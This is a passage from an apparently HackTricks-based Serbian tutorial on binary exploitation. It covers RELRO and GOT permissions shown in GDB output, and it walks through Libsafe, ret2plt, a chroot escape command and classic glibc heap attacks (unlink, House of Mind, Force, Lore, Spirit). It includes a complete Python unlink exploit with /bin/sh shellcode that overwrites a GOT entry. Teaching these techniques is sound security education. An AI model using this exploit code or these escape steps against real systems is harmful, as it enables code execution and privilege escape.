0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Bez relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Za binarni bez relro, možemo videti da je adresa unosa got za fgets 0x404018. Pogledom na mapiranje memorije vidimo da se nalazi između 0x404000 i 0x405000, što ima dozvole rw, što znači da možemo čitati i pisati u nju. Za binarni sa relro, vidimo da je adresa tabele got za izvršavanje binarnog fajla (pie je omogućen pa će se ova adresa promeniti) 0x555555557fd0. U mapiranju memorije tog binarnog fajla nalazi se između 0x0000555555557000 i 0x0000555555558000, što ima memoriju dozvole r, što znači da možemo samo čitati iz nje.

Dakle, šta je bypass? Tipičan način zaobilaženja koji koristim je jednostavno ne pisati u memorijske regione koje relro čini samo za čitanje, i pronaći drugi način za izvršavanje koda.

Imajte na umu da bi se ovo desilo, binarni fajl mora unapred znati adrese funkcija:

  • Lenje povezivanje: Adresa funkcije se traži prvi put kada se funkcija pozove. Dakle, GOT mora imati dozvole za pisanje tokom izvršavanja.
  • Poveži sada: Adrese funkcija se rešavaju na početku izvršavanja, zatim se daju dozvole samo za čitanje osetljivim sekcijama poput .got, .dtors, .ctors, .dynamic, .jcr. `**-z relro**y**-z now`**

Da biste proverili da li program koristi Poveži sada, možete uraditi:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Kada se binarni fajl učita u memoriju i funkcija se pozove prvi put, skoči se na PLT (Procedure Linkage Table), odakle se vrši skok (jmp) na GOT i otkriva da ta unosa nije rešena (sadrži sledeću adresu iz PLT). Zatim se poziva Runtime Linker ili rtfd da reši adresu i sačuva je u GOT.

Kada se poziva funkcija, poziva se PLT, koja ima adresu GOT gde je smeštena adresa funkcije, tako da preusmerava tok tamo i poziva funkciju. Međutim, ako je prvi put pozvana funkcija, ono što se nalazi u GOT-u je sledeća instrukcija iz PLT-a, pa tok sledi kod PLT-a (rtfd) i saznaje adresu funkcije, čuva je u GOT-u i poziva.

Prilikom učitavanja binarnog fajla u memoriju, kompajler mu je rekao na kojem offsetu treba da postavi podatke koji se moraju učitati prilikom pokretanja programa.

Leno povezivanje —> Adresa funkcije se traži prvi put kada se pozove ta funkcija, tako da GOT ima dozvole za pisanje kako bi se adresa sačuvala tamo kada se traži, i ne mora ponovo da se traži.

Veži sada —> Adrese funkcija se traže prilikom učitavanja programa i menja se dozvola sekcija .got, .dtors, .ctors, .dynamic, .jcr u samo čitanje. -z relro i -z now

Ipak, općenito programi nisu komplikovani s tim opcijama, pa su ovi napadi i dalje mogući.

readelf -l /proc/ID_PROC/exe | grep BIND_NOW —> Da biste saznali da li koriste BIND NOW

Fortify Source -D_FORTIFY_SOURCE=1 ili =2

Pokušava identifikovati funkcije koje kopiraju podatke sa jednog mesta na drugo na nesiguran način i zameniti funkciju sigurnom funkcijom.

Na primer:
char buf[16];
strcpy(but, source);

Identifikuje je kao nesigurnu i zatim zamenjuje strcpy() sa __strcpy_chk() koristeći veličinu bafera kao maksimalnu veličinu za kopiranje.

Razlika između =1 i =2 je:

Druga ne dozvoljava da %n dolazi iz sekcije sa dozvolama za pisanje. Takođe, parametar za direktni pristup argumentima može se koristiti samo ako su korišćeni prethodni, tj. može se koristiti samo %3$d ako su prethodno korišćeni %2$d i %1$d

Za prikazivanje poruke o grešci koristi se argv[0], pa ako se postavi adresa druge lokacije (kao globalna promenljiva) u nju, poruka o grešci će prikazati sadržaj te promenljive. Str. 191

Zamena Libsafe

Aktivira se sa: LD_PRELOAD=/lib/libsafe.so.2
ili
“/lib/libsave.so.2” > /etc/ld.so.preload

Pozivi nekih nesigurnih funkcija se zamenjuju sigurnijim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD_PRELOAD ne radi na binarnim fajlovima sa suid).

ASCII Armored Address Space

Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zapravo ne zaustavlja skoro nijedan napad, a posebno ne u little endian sistemu.

ret2plt

Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se ka unosi u GOT-u i kopira prvi bajt funkcije koja se želi pozvati (system()). Zatim se isto radi usmeravajući se ka GOT+1 i kopira se 2. bajt system()... Na kraju se poziva adresa sačuvana u GOT-u koja će biti system()

Lažni EBP

Za funkcije koje koriste EBP kao registar za upućivanje argumenata, prilikom modifikacije EIP-a i upućivanja na system(), takođe se mora modifikovati EBP da upućuje na memorijsku lokaciju koja ima 2 proizvoljna bajta, a zatim na adresu &”/bin/sh”.

Kavezi sa chroot()

debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem u određeni poddirektorijum

Administrator može izaći iz ovih kaveza koristeći: mkdir foo; chroot foo; cd ..

Instrumentacija koda

Valgrind —> Traži greške
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Overflow: Osnovni eksploiti

Dodeljeni blok

prev_size |
size | —Zaglavlje
*mem | Podaci

Slobodan blok

prev_size |
size |
*fd | Ptr naprednog bloka
*bk | Ptr nazadnog bloka —Zaglavlje
*mem | Podaci

Slobodni blokovi su u dvostruko povezanoj listi (bin) i nikada ne smeju postojati dva slobodna bloka zajedno (spajaju se)

U "size" postoje bitovi koji pokazuju: Da li je prethodni blok u upotrebi, da li je blok dodeljen putem mmap() i da li blok pripada primarnoj areni.

Ako se oslobodi blok i neki od susednih blokova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći blok se prosleđuje frontlink() da ga ubaci u odgovarajući bin.

unlink(){
BK = P->bk; —> BK novog bloka je onaj koji je imao prethodno slobodan blok
FD = P->fd; —> FD novog bloka je onaj koji je imao prethodno slobodan blok
FD->bk = BK; —> BK sledećeg bloka pokazuje na novi blok
BK->fd = FD; —> FD prethodnog bloka pokazuje na novi blok
}

Dakle, ako uspemo da promenimo P->bk sa adresom shell koda i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

I tako se izvršava shell kod prilikom izlaska iz programa.

Takođe, 4. izjava unlink() piše nešto i shell kod mora biti prilagođen za ovo:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Ovo uzrokuje pisanje 4 bajta od 8. bajta shell koda, tako da prva instrukcija shell koda mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shell koda.

Stoga se eksploit kreira:

U bafer1 ubacujemo shell kod počevši od skoka kako bi prešao na nops ili na ostatak shell koda.

Nakon shell koda ubacujemo punjenje dok ne dođemo do polja prev_size i size sledećeg bloka. Na ovim mestima ubacujemo 0xfffffff0 (tako da se prev_size prepisuje da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da bi prilikom provere u 3. bloku da li je 2. bio slobodan zapravo otišao na modifikovan prev_size koji će reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali će zapravo ići na 2. - 4 i misliće da je 2. blok slobodan. Tada će pozvati unlink().

Pozivom unlink() koristiće kao P->fd prve podatke 2. bloka, pa će tamo biti ubačena adresa koju želite da prepišete - 12 (jer će u FD->bk dodati 12 adresi sačuvanoj u FD). I na toj adresi će se uneti druga adresa koja se nalazi u 2. bloku, koja će biti adresa shell koda (lažni P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Bit koji označava da je prethodni komad slobodan treba biti postavljen na 1

fake_size = pack("<I”, 0xfffffffc) #-4, kako bi se mislilo da je "size" trećeg komada 4 bajta unazad (ukazuje na prev_size) jer se tu proverava da li je drugi komad slobodan

addr_sc = pack("<I", 0x0804a008 + 8) #Na početku payloada dodajemo 8 bajtova punjenja

got_free = pack("<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće prebrisana kako bi se shellcode pokrenula drugi put kada se free pozove)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Kao što je rečeno, payload počinje sa 8 bajtova punjenja

payload += prev_size + fake_size + got_free + addr_sc #Modifikujemo drugi komad, got_free pokazuje gde ćemo sačuvati adresu addr_sc + 12

os.system("./8.3.o " + payload)

unset() oslobađanje u obrnutom redosledu (wargame)

Kontrolišemo 3 uzastopna chunk-a koji se oslobađaju u obrnutom redosledu od rezervacije.

U tom slučaju:

U chunk-u c stavljamo shellcode

Chunk a koristimo da prepišemo b tako da size ima deaktiviran bit PREV_INUSE, tako da misli da je chunk a slobodan.

Takođe, u zaglavlju b prepišemo size da bude -4.

Tada će program misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odveže. Međutim, pošto je PREV_SIZE u zaglavlju -4, misliće da chunk "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na chunk koji počinje na b+4, pa će na b+12 biti pokazivač "fd", a na b+16 pokazivač "bk".

Na taj način, ako stavimo adresu shellcode u bk i adresu funkcije "puts()" -12 u fd, imamo naš payload.

Tehnika Frontlink

Poziva se frontlink kada se nešto oslobodi, a nijedan od susednih chunk-ova nije slobodan, umesto pozivanja unlink(), direktno se poziva frontlink().

Korisna ranjivost kada malloc koji se napada nikada nije oslobođen (free()).

Potrebno je:

Buffer koji može biti preplavljen funkcijom unos podataka

Buffer koji je susedan ovom koji treba biti oslobođen i čije će se polje fd u zaglavlju promeniti zbog preplavljivanja prethodnog bafera

Buffer koji treba osloboditi sa veličinom većom od 512, ali manjom od prethodnog bafera

Buffer deklarisan pre koraka 3 koji omogućava prepisivanje prev_size ovog bafera

Na ovaj način, preplavljujući dva malloc-a na nekontrolisan način i jedan na kontrolisan način koji se oslobađa samo jednom, možemo izvršiti eksploataciju.

Ranjivost double free()

Ako se dva puta pozove free() sa istim pokazivačem, dva bin-a pokazuju na istu adresu.

Ako se želi ponovo koristiti jedan, to se može lako uraditi. Ako se želi koristiti drugi, dodeliće se isti prostor, pa ćemo imati pokazivače "fd" i "bk" sa lažnim podacima koje će upisati prethodna rezervacija.

After free()

Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.

8 Heap Overflows: Napredni eksploiti

Tehnike Unlink() i FrontLink() su uklonjene modifikacijom funkcije unlink().

The house of mind

Potrebno je samo jedno pozivanje free() da bi se izazvalo izvršavanje proizvoljnog koda. Potrebno je pronaći drugi chunk koji može biti preplavljen od strane prethodnog i oslobođen.

Pozivanje free() dovodi do poziva public_fREe(mem), što radi:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj počinje chunk (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

U [1] proverava se polje size bit NON_MAIN_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap_for_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajta (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar_ptr (kao da je struktura heap_info)

Na ovaj način, ako možemo kontrolisati chunk na primeru 0x0804a000 i treba osloboditi chunk na 0x081002a0 možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer 0x0804a000. Kada se ovaj drugi chunk oslobodi, heap_for_ptr(ptr)->ar_ptr će vratiti ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar_ptr)

Na taj način se poziva _int_free(ar_ptr, mem), odnosno _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u chunk koji će se osloboditi.

Kako je definisano unsorted_chunks, znamo da:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Dakle, ako u av->bins[2] upišemo vrednost __DTOR_END__-12, u poslednjoj instrukciji će se upisati u __DTOR_END__ adresa drugog chunk-a.

Drugim rečima, u prvom chunk-u na početku treba staviti adresu __DTOR_END__-12 mnogo puta jer će av->bins[2] to izvući

Na adresi na koju padne adresa drugog chunk-a sa poslednjih 5 nula treba upisati adresu ovog prvog chunk-a kako bi heap_for_ptr() mislio da je ar_ptr na početku prvog chunk-a i izvukao av->bins[2] odatle

U drugom chunk-u, zahvaljujući prvom, prepisujemo prev_size sa jump 0x0c i size sa nečim da aktivira -> NON_MAIN_ARENA

Zatim u drugom chunk-u stavljamo gomilu nops i na kraju shellcode

Na taj način će se pozvati _int_free(TROZO1, TROZO2) i pratiti instrukcije za upisivanje u __DTOR_END__ adresu prev_size TROZO2 koji će skočiti na shellcode.

Za primenu ove tehnike potrebno je da se ispune još neki zahtevi koji malo komplikuju payload. Ova tehnika više nije primenjiva jer je gotovo isti zakrpa primenjen kao i za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega.

Fastbin

To je varijanta The house of mind

interesuje nas izvršavanje sledećeg koda do kojeg se dolazi nakon prvog provere funkcije _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Gde je fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Na ovaj način, ako se postavi u "fb", daje adresu funkcije u GOT-u, na ovu adresu će se postaviti adresa prebrisana. Za ovo će biti potrebno da je arena blizu adresa dtors. Tačnije, av->max_fast treba da bude na adresi koju ćemo prebrisati.

S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av.

Zato, ako u polje size stavimo veličinu 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() će nam vratiti fastbins[-1], koji će pokazivati na av->max_fast

U ovom slučaju av->max_fast će biti adresa koja će biti prebrisana (ne na koju pokazuje, već ta pozicija će biti prebrisana).

Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, treba staviti na početak jmp koji će pasti na nops).

Takođe, isti lažni deo mora biti manji od av->system_mem. av->system_mem je udaljen 1848 bajtova.

Zbog nula iz _DTOR_END_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prebrisivanje, pa pogledajmo kako primeniti fastbin za napad na stek.

Još jedan način napada je preusmeravanje av ka steku.

Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin_index() će nam vratiti fastbins[0] i možemo koristiti ovo da prepišemo stek.

Za ovo ne sme biti nikakvih canary vrednosti ili čudnih vrednosti na steku, zapravo moramo biti u ovom slučaju: 4 bajta nula + EBP + RET

Potrebna su nam 4 bajta nula kako bi av bio na ovoj adresi i prvi element av je mutex koji mora biti 0.

av->max_fast će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja.

U av->fastbins[0] će se prebrisati sa adresom p i biće RET, tako da će se preskočiti do shellcode.

Takođe, u av->system_mem (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.

Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, treba staviti na početak jmp koji će pasti na nops koji idu nakon polja size novog lažnog dela).

The House of Spirit

U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenjen od strane napadača (na primer, da pokazivač bude na steku ispod mogućeg prelivanja promenljive).

Na taj način, mogli bismo da navedemo da ovaj pokazivač pokazuje gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela mora biti manja od av->max_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela mora biti jednaka 48.

Na primer, ako program pita korisnika za broj, mogli bismo uneti 48 i usmeriti promenljivi pokazivač malloc na sledećih 4 bajta (koji bi mogli pripadati EBP sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system_mem.

U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), kao adresi će biti dodeljena adresa EBP. U slučaju da napadač takođe može kontrolisati šta se piše u ovom mallocu, može prebrisati kako EBP tako i EIP sa adresom koju želi.

Mislim da je to zato što kada se oslobodi free() čuvaće se da u adresi koja pokazuje na EBP steka postoji deo veličine savršene za novi malloc() koji se želi rezervisati, pa će mu biti dodeljena ta adresa.

The House of Force

Potrebno je:

  • Prekoračenje u delu koje omogućava prebrisivanje wilderness
  • Poziv malloc() sa veličinom definisanom od strane korisnika
  • Poziv malloc() čiji podaci mogu biti definisani od strane korisnika

Prvo što se radi je prebrisivanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u _int_malloc() bez potrebe za proširivanjem hipa.

Drugo je promena av->top kako bi pokazivao na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se staviti &EIP - 8.

Mora se prebrisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim uzima vrednost adrese trenutnog dela wilderness (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od malloc(). Dakle, ako je &EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom mallocu kako bi av->top pokazivao na $EIP-8 za sledeći malloc() će biti:

0xbffff224 - 0x080c2788 = 3086207644.

Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prebrisati.

Važno je znati da veličina novog dela wilderness bude veća od zahteva poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na &EIP-8, veličina će biti tačno u polju EBP steka.

The House of Lore

Korupcija SmallBin

Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen ne stavlja se odmah u svoj bin već ostaje u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, vraća se, ali ako se rezerviše veći deo, oslobođeni deo u unsorted bins se stavlja u odgovarajući bin.

Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max_fast (obično 72) i manji od MIN_LARGE_SIZE (512).

Ako u binu postoji deo odgovarajuće veličine zahtevanog dela, on se vraća nakon što se odveže:

bck = victim->bk; Pokazuje na prethodni deo, to je jedina informacija koju možemo promeniti.

bin->bk = bck; Predzadnji deo postaje poslednji, u slučaju da bck pokazuje na stek, sledećem rezervisanom delu biće dodeljena ova adresa

bck->fd = bin; Zatvara se lista tako što ovaj pokazuje na bin

Potrebno je: Rezervišite dva malloc-a, tako da se prvi može preplaviti nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog dela pre prelivanja)

Malloc rezervisan za adresu koju odabere napadač mora biti pod kontrolom napadača.

Cilj je sledeći, ako možemo preplaviti heap koji ima oslobođen deo ispod i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo pokazivač bk i taj deo postane prvi na listi binova i rezervisan je, bin će biti prevaren i reći će mu se da je sledeći deo liste (sledeći koji se nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Dakle, ako se rezerviše još jedan deo i napadač ima dozvole na njemu, dobiće deo na željenoj poziciji i moći će da piše u njega.

Nakon što se modifikovani deo oslobodi, potrebno je rezervisati deo veći od oslobođenog, tako da modifikovani deo izađe iz unsorted binova i ubaci se u svoj bin.

Kada je u svom binu, vreme je da se promeni pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo.

Dakle, bin mora da sačeka da se pozove dovoljno puta malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći deo na lažnoj adresi. Zatim će se dati deo koji nas zanima.

Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog dela, rezervacija dela koji će se modifikovati, oslobođenje ovog dela, rezervacija dela većeg od onog koji će se modifikovati, modifikacija dela (ranjivost), rezervacija dela iste veličine kao ranjeno i rezervacija drugog dela iste veličine koji će pokazivati na odabranu adresu.

Za zaštitu od ovog napada koristi se tipična provera da deo "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog dela pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo na neki način (verovatno preko stacka) da bude u mogućnosti da piše na odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi deo.

Korupcija LargeBin

Potrebni su isti zahtevi kao i pre, plus neki dodatni, osim toga, rezervisani delovi moraju biti veći od 512.

Napad je kao i prethodni, tj. treba promeniti pokazivač bk i potrebni su svi ti pozivi malloc(), ali takođe treba promeniti veličinu modifikovanog dela tako da taj size - nb bude < MINSIZE.

Na primer, treba postaviti size na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne može biti negativno jer se upoređuje sa unsigned)

Takođe je uveden zakrpa da bi se to učinilo još složenijim.

Raspršivanje Heap-a

Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe se koristi 0x0c kao jastuk. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se prepisuje neka adresa na koju će se pozvati ovaj jastuk, skočiće tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li se prepisuje neki pokazivač i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops.

Feng Shui Heap-a

Sastoji se u cementiranju memorije putem rezervacija i oslobođenja kako bi se ostavili rezervisani delovi između slobodnih delova. Bafer za prelivanje će se nalaziti u jednom od tih delova.

Interesantni kursevi

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: